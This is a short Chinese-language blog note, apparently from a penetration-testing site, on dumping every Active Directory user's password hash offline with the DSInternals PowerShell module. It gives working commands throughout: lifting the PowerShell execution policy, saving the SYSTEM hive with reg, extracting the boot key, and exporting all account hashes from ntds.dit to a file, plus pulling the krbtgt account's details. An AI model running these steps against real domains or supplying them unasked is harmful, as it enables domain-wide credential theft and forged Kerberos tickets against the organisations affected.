完整导出域内用户Hash小记 [Powershell离线提取域内所有账户hash]
1
利用 DSInternals PowerShell
本地测试环境:1
win 2012r2
离线导出环境要求:1
2Windows PowerShell 3+
.NET Framework 4.5+
支持的系统:1
2
3
4
5Windows Server 2012 R2
Windows Server 2008 R2
Windows 10 64-bit
Windows 8.1 64-bit
Windows 7 64-bit
先看下当前系统的powershell版本:1
ps > Get-Host | Select-Object Version
放开pwoershell脚本执行限制:1
Set-ExecutionPolicy Unrestricted
准备好ntds.dit和SYSTEM.hiv文件:1
2
3ntds.dit [可以利用shadowcopy.bat快速获取]
system.hiv [reg即可获取]
reg save hklm\system system.hive
安装,导入DSInternals模块:1
2
3cd DSInternals
powershell
Import-Module .\DSInternals
直接导出域内所有用户hash1
2$key = Get-BootKey -SystemHivePath "C:\system.hive"
Get-ADDBAccount -All -DBPath "C:\ntds.dit" -BootKey $key | Out-File hash.txt
也可只获取指定账户的详细信息1
2$key = Get-BootKey -SystemHivePath "C:\system.hive"
Get-ADDBAccount -DistinguishedName 'CN=krbtgt,CN=Users,DC=klionsec,DC=org' -DBPath 'C:\ntds.dit' -BootKey $key